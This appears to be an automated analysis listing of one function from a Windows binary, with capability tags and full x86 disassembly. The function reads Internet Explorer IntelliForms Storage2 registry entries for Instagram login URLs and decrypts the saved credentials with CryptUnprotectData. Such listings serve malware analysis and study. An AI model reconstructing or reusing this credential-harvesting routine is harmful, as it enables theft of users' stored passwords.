Function at 0x407e70
Capabilities:
Encrypt data using dpapi
Query or enumerate registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5ef11b
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x1498
call fcn.005ccbd0
mov eax, dword [0x658e64]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x145c], edi
movups xmm0, xmmword [str.SoftwareMicrosoftInternet_ExplorerIntelliFormsStorage2]
mov ax, word [0x633fd4]
lea ecx, [ebp - 0x14a4]
mov word [ebp - 0x18], ax
mov al, byte [0x633fd6]
movups xmmword [ebp - 0x50], xmm0
push 0xa
movups xmm0, xmmword [0x633fac]
mov byte [ebp - 0x16], al
movups xmmword [ebp - 0x40], xmm0
movups xmm0, xmmword [0x633fbc]
movups xmmword [ebp - 0x30], xmm0
movq xmm0, qword [0x633fcc]
movq qword [ebp - 0x20], xmm0
call fcn.0049b15c
mov ecx, edi
mov dword [ebp - 4], 0
call fcn.00407d30
lea ecx, [ebp - 0x14a4]
call fcn.0049b4cf
push str.http:__instagram.com_
lea ecx, [ebp - 0x14a4]
call fcn.0049b2ba
push str.https:__instagram.com_
lea ecx, [ebp - 0x14a4]
call fcn.0049b2ba
push str.http:__www.instagram.com_
lea ecx, [ebp - 0x14a4]
call fcn.0049b2ba
push str.https:__www.instagram.com_
lea ecx, [ebp - 0x14a4]
call fcn.0049b2ba
push str.http:__instagram.com_accounts_login_
lea ecx, [ebp - 0x14a4]
call fcn.0049b2ba
push str.https:__instagram.com_accounts_login_
lea ecx, [ebp - 0x14a4]
call fcn.0049b2ba
mov ecx, dword [ebp - 0x14a0]
test ecx, ecx
je 0x40823c
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop word [eax + eax]
mov eax, ecx
test ecx, ecx
je 0x408265
push dword [eax + 8]
mov ecx, dword [ecx]
lea eax, [ebp - 0x1450]
push 0x634090
push 0x400
push eax
mov dword [ebp - 0x1470], ecx
call fcn.00404d80
add esp, 0xc
lea edx, [ebp - 0x450]
lea ecx, [ebp - 0x1450]
call fcn.00402100
add esp, 4
test eax, eax
je 0x40822e
lea eax, [ebp - 0x450]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407ff3
sub eax, edx
cmp eax, 1
jb 0x40822e
push 0
lea eax, [ebp - 0x450]
push eax
lea ecx, [edi + 0xcc]
call fcn.0049b33e
test eax, eax
je 0x40822e
lea eax, [ebp - 0x1454]
push eax
push 1
push 0
lea eax, [ebp - 0x50]
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40822e
lea eax, [ebp - 0x1458]
push eax
push 0
lea eax, [ebp - 0x1468]
push eax
push 0
lea eax, [ebp - 0x450]
push eax
push dword [ebp - 0x1454]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x408079
push dword [ebp - 0x1454]
call esi
jmp 0x40822e
mov eax, dword [ebp - 0x1458]
cmp eax, 1
jae 0x408091
push dword [ebp - 0x1454]
call esi
jmp 0x40822e
push eax
call fcn.0048a894
add esp, 4
mov edi, eax
lea eax, [ebp - 0x1458]
mov dword [ebp - 0x1464], edi
push eax
push edi
lea eax, [ebp - 0x1468]
push eax
push 0
lea eax, [ebp - 0x450]
push eax
push dword [ebp - 0x1454]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x1454]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x408219
mov ecx, edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4080e1
sub ecx, edx
cmp ecx, 1
jb 0x408219
mov eax, dword [ebp - 0x1458]
mov dword [ebp - 0x1488], eax
lea eax, [ebp - 0x1450]
mov ecx, eax
mov dword [ebp - 0x1484], edi
mov dword [ebp - 0x147c], eax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x408116
sub ecx, edx
sar ecx, 1
lea eax, [ecx*2 + 2]
mov dword [ebp - 0x1480], eax
lea eax, [ebp - 0x1478]
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x1480]
push eax
push 0
lea eax, [ebp - 0x1488]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x408213
mov ecx, dword [ebp - 0x1474]
mov eax, dword [ecx + 8]
mov esi, dword [ecx]
add eax, esi
mov edx, dword [ecx + 4]
add eax, edx
cmp dword [ebp - 0x1478], eax
jb 0x40820a
mov eax, dword [ecx + 0x14]
lea edi, [ecx + 0x24]
add edx, esi
shr eax, 1
add edx, ecx
mov dword [ebp - 0x1460], eax
mov dword [ebp - 0x146c], edx
test eax, eax
je 0x408204
mov eax, dword [edi]
mov esi, dword [edi + 0x10]
add eax, edx
push eax
push 0x634098
lea eax, [ebp - 0xc50]
add esi, edx
push 0x400
push eax
call fcn.00401db0
push esi
push 0x634098
lea eax, [ebp - 0x850]
push 0x400
push eax
call fcn.00401db0
mov ecx, dword [ebp - 0x145c]
lea eax, [ebp - 0x850]
add esp, 0x20
push eax
lea eax, [ebp - 0xc50]
push eax
push 4
call fcn.004072f0
sub dword [ebp - 0x1460], 1
lea edi, [edi + 0x20]
mov edx, dword [ebp - 0x146c]
jne 0x408197
mov ecx, dword [ebp - 0x1474]
mov edi, dword [ebp - 0x1464]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x408219
call dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
call fcn.0040f7d0
mov edi, dword [ebp - 0x145c]
add esp, 4
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x1470]
test ecx, ecx
jne 0x407fa0
lea ecx, [ebp - 0x14a4]
call fcn.0049b182
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.005cc070
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0049520b
int3